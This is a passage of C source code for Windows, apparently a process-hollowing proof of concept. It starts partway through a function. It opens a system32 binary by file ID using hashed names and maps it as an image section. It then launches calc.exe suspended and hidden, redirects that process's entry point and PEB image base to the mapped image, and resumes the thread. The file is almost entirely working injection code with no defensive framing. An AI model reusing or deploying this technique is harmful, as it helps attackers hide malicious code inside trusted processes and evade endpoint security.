TargetDirectoryHandle = SubroutineNtCreateFile(TargetDirectory);
if (TargetDirectoryHandle == INVALID_HANDLE_VALUE)
goto EXIT_ROUTINE;
if(SubroutineGetNtfsFileId(TargetDirectoryHandle, &uId, Hash) == 0)
goto EXIT_ROUTINE;
RelativeVolumeHandle = RtlGetVolumeRelativeHandle();
if (RelativeVolumeHandle == INVALID_HANDLE_VALUE)
goto EXIT_ROUTINE;
FileId.dwSize = sizeof(FILE_ID_DESCRIPTOR);
FileId.Type = FileIdType;
FileId.FileId.QuadPart = uId.QuadPart;
hFile = OpenFileById(RelativeVolumeHandle, &FileId, FILE_GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, 0);
EXIT_ROUTINE:
if (RelativeVolumeHandle)
NtClose(RelativeVolumeHandle);
if(TargetDirectoryHandle)
NtClose(TargetDirectoryHandle);
return hFile;
}
HANDLE SubroutineNtCreateSection(PHANDLE hFile)
{
NTSTATUS Status = STATUS_SUCCESS;
HANDLE hSection = INVALID_HANDLE_VALUE;
Status = NtCreateSection(&hSection, SECTION_MAP_READ, NULL, 0, PAGE_READONLY, SEC_IMAGE, hFile);
if (!NT_SUCCESS(Status))
InternalSetLastError(RtlNtStatusToDosError(Status));
return hSection;
}
PVOID SubroutineNtMapViewOfSection(HANDLE Process, HANDLE hSection)
{
NTSTATUS Status = STATUS_SUCCESS;
SIZE_T View = 0;
PVOID BaseAddress = NULL;
Status = NtMapViewOfSection(hSection, Process, &BaseAddress, 0, 0, 0, &View, ViewShare, 0, PAGE_READONLY);
if (!NT_SUCCESS(Status))
InternalSetLastError(RtlNtStatusToDosError(Status));
return BaseAddress;
}
PBYTE GetNtHeaders(PBYTE Buffer)
{
PIMAGE_DOS_HEADER Dos;
PIMAGE_NT_HEADERS32 Nt32;
ULONG MaxOffset = 1024;
Dos = (PIMAGE_DOS_HEADER)Buffer;
if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
if ((ULONG)Dos->e_lfanew > MaxOffset)
return NULL;
Nt32 = (PIMAGE_NT_HEADERS32)(Buffer + Dos->e_lfanew);
if (Nt32->Signature != IMAGE_NT_SIGNATURE)
return NULL;
return (PBYTE)Nt32;
}
WORD GetNtHeaderArchitecture(PBYTE Buffer)
{
PIMAGE_NT_HEADERS32 Nt32 = (PIMAGE_NT_HEADERS32)GetNtHeaders(Buffer);
if (Nt32 == NULL)
return ERROR_FAILURE_NULL_BUFFER;
return Nt32->OptionalHeader.Magic;
}
BOOL IsImage64Bit(PBYTE Buffer)
{
if (GetNtHeaderArchitecture(Buffer) == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
return TRUE;
else
return FALSE;
}
BOOL RtlInitSystem32File(PWCHAR Buffer, LPCWSTR File, BOOL DosPath)
{
WCHAR WindowsDirectory[WMAX_PATH] = { 0 };
WCHAR NtObjectSystem32Directory[WMAX_PATH] = { 0 };
if (!RtlGetEnvironmentVariableAltW(L"WINDIR", WindowsDirectory, WMAX_PATH))
return FALSE;
StringConcatW(WindowsDirectory, (PWCHAR)L"\\System32\\");
if(!DosPath)
if (StringCopyW(Buffer, (PWCHAR)L"\\??\\") == NULL) return FALSE;
if (StringConcatW(Buffer, WindowsDirectory) == NULL) return FALSE;
if (File == NULL)
return TRUE;
if (StringConcatW(Buffer, (PWCHAR)File) == NULL) return FALSE;
return TRUE;
}
DWORD RtlGetEntryPointRelativeAddress(PBYTE Buffer)
{
PIMAGE_NT_HEADERS64 Nt64 = NULL;
PIMAGE_NT_HEADERS32 Nt32 = NULL;
PBYTE AmbiguousNt = GetNtHeaders(Buffer);
if (AmbiguousNt == NULL)
return ERROR_FAILURE_NULL_BUFFER;
if (GetNtHeaderArchitecture(Buffer) == IMAGE_FILE_MACHINE_AMD64)
{
Nt64 = (PIMAGE_NT_HEADERS64)AmbiguousNt;
return Nt64->OptionalHeader.AddressOfEntryPoint;
}
else
{
Nt32 = (PIMAGE_NT_HEADERS32)AmbiguousNt;
return (ULONGLONG)Nt32->OptionalHeader.AddressOfEntryPoint;
}
}
BOOL ModifyRemoteEntryPoint64(PPROCESS_INFORMATION Pi, ULONGLONG EntryPointVirtualAddress)
{
NTSTATUS Status = STATUS_SUCCESS;
CONTEXT Context = { 0 };
RtlSecureZeroMemory(&Context, sizeof(CONTEXT));
Context.ContextFlags = CONTEXT_INTEGER;
Status = NtGetContextThread(Pi->hThread, &Context);
if(!NT_SUCCESS(Status))
return FALSE;
Context.Rcx = EntryPointVirtualAddress;
Status = NtSetContextThread(Pi->hThread, &Context);
if (!NT_SUCCESS(Status))
return FALSE;
else
return TRUE;
}
BOOL ModifyRemoteEntryPoint32(PPROCESS_INFORMATION Pi, ULONGLONG EntryPointVirtualAddress)
{
NTSTATUS Status = STATUS_SUCCESS;
ULONG uReturn = 0;
WOW64_CONTEXT Context = { 0 };
RtlSecureZeroMemory(&Context, sizeof(WOW64_CONTEXT));
Context.ContextFlags = CONTEXT_INTEGER;
BOOL bFlag = FALSE;
Status = NtQueryInformationThread(Pi->hThread, ThreadWow64Context, &Context, sizeof(WOW64_CONTEXT), &uReturn);
if (!NT_SUCCESS(Status))
goto EXIT_ROUTINE;
Context.Eax = (DWORD)EntryPointVirtualAddress;
Status = NtSetInformationThread(Pi->hThread, ThreadWow64Context, &Context, sizeof(WOW64_CONTEXT));
if (!NT_SUCCESS(Status))
goto EXIT_ROUTINE;
bFlag = TRUE;
EXIT_ROUTINE:
if(!bFlag)
InternalSetLastError(RtlNtStatusToDosError(Status));
return bFlag;
}
ULONGLONG RtlGetRemotePeb64(PPROCESS_INFORMATION Pi)
{
NTSTATUS Status = STATUS_SUCCESS;
CONTEXT Context = { 0 };
RtlSecureZeroMemory(&Context, sizeof(CONTEXT));
Context.ContextFlags = CONTEXT_INTEGER;
Status = NtGetContextThread(Pi->hThread, &Context);
if(!NT_SUCCESS(Status))
return ERROR_FAILURE_NULL_BUFFER;
return Context.Rdx;
}
ULONGLONG RtlGetRemotePeb32(PPROCESS_INFORMATION Pi)
{
NTSTATUS Status = STATUS_SUCCESS;
ULONG uReturn = 0;
WOW64_CONTEXT Context = { 0 };
RtlSecureZeroMemory(&Context, sizeof(WOW64_CONTEXT));
Context.ContextFlags = CONTEXT_INTEGER;
Status = NtQueryInformationThread(Pi->hThread, ThreadWow64Context, &Context, sizeof(WOW64_CONTEXT), &uReturn);
if (!NT_SUCCESS(Status))
return ERROR_FAILURE_NULL_BUFFER;
else
return (ULONGLONG)Context.Ebx;
}
ULONGLONG SubroutineGetImagePebOffset(BOOL Is32bit)
{
if (Is32bit)
return sizeof(DWORD) * 2;
return sizeof(ULONGLONG) * 2;
}
BOOL HollowProcessInternal(PBYTE Image, PVOID Base, PPROCESS_INFORMATION Pi, BOOL Is32Bit)
{
DWORD EntryPoint = 0;
ULONGLONG EntryPointVirtualAddress = 0;
ULONGLONG RemotePeb = 0;
LPVOID RemoteImageBase = NULL;
SIZE_T ImageSize = 0;
NTSTATUS Status = STATUS_SUCCESS;
EntryPoint = RtlGetEntryPointRelativeAddress(Image);
EntryPointVirtualAddress = (ULONGLONG)(Image + EntryPoint);
if (Is32Bit){
if (!ModifyRemoteEntryPoint32(Pi, EntryPointVirtualAddress))
return FALSE;
RemotePeb = RtlGetRemotePeb32(Pi);
if (RemotePeb == 0)
return FALSE;
}
else{
if (!ModifyRemoteEntryPoint64(Pi, EntryPointVirtualAddress))
return FALSE;
RemotePeb = RtlGetRemotePeb64(Pi);
if (RemotePeb == 0)
return FALSE;
}
RemoteImageBase = (LPVOID)(RemotePeb + SubroutineGetImagePebOffset(Is32Bit));
if (Is32Bit)
ImageSize = sizeof(DWORD);
else
ImageSize = sizeof(ULONGLONG);
Status = NtWriteVirtualMemory(Pi->hProcess, RemoteImageBase, &Base, ImageSize, NULL);
if (!NT_SUCCESS(Status))
{
InternalSetLastError(RtlNtStatusToDosError(Status));
return FALSE;
}
return TRUE;
}
BOOL RtlHollowProcess64(HANDLE hSection, PBYTE Mapped, PWCHAR Target)
{
PROCESS_INFORMATION Pi = { 0 };
STARTUPINFOW Si = { 0 };
HANDLE Process = INVALID_HANDLE_VALUE;
PVOID RemoteBaseAddress = NULL;
BOOL bFlag = TRUE;
Si.cb = sizeof(STARTUPINFOW);
if (!CreateProcessW(Target, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW, NULL, NULL, &Si, &Pi))
return FALSE;
Process = Pi.hProcess;
RemoteBaseAddress = SubroutineNtMapViewOfSection(Process, hSection);
if (RemoteBaseAddress == NULL)
return FALSE;
if (IsImage64Bit(Mapped))
bFlag = FALSE;
if(!HollowProcessInternal(Mapped, RemoteBaseAddress, &Pi, bFlag))
return FALSE;
NtResumeThread(Pi.hThread, NULL);
return TRUE;
}
INT wmain(VOID)
{
WCHAR NtObjectSystem32Directory[WMAX_PATH] = { 0 };
WCHAR NtCalcPath[WMAX_PATH] = { 0 };
DWORD dwError = ERROR_SUCCESS;
BOOL bFlag = FALSE;
HANDLE hFile = INVALID_HANDLE_VALUE;
HANDLE hSection = INVALID_HANDLE_VALUE;
PVOID MappedBinary = NULL;
if (!RtlInitGlobalApplicationData())
goto EXIT_ROUTINE;
if (!RtlInitSystem32File(NtObjectSystem32Directory, NULL, FALSE))
goto EXIT_ROUTINE;
//0x6257d638 Dispose.exe
//0xbb309ae5 cmd.exe
hFile = YarhLoader(0x6257d638, NtObjectSystem32Directory);
if (hFile == INVALID_HANDLE_VALUE)
goto EXIT_ROUTINE;
hSection = SubroutineNtCreateSection(hFile);
if (hSection == NULL)
goto EXIT_ROUTINE;
MappedBinary = SubroutineNtMapViewOfSection(GetCurrentProcess(), hSection);
if (MappedBinary == NULL)
goto EXIT_ROUTINE;
if (!IsImage64Bit(MappedBinary))
goto EXIT_ROUTINE;
if (!RtlInitSystem32File(NtCalcPath, L"calc.exe", TRUE))
goto EXIT_ROUTINE;
if (!RtlHollowProcess64(hSection, (PBYTE)MappedBinary, NtCalcPath))
goto EXIT_ROUTINE;
bFlag = TRUE;
system("PAUSE");
EXIT_ROUTINE:
if (!bFlag)
dwError = InternalGetLastError();
if (MappedBinary)
NtUnmapViewOfSection(hSection, MappedBinary);
if (hSection)
NtClose(hSection);
if (hFile)
NtClose(hFile);
return dwError;
}
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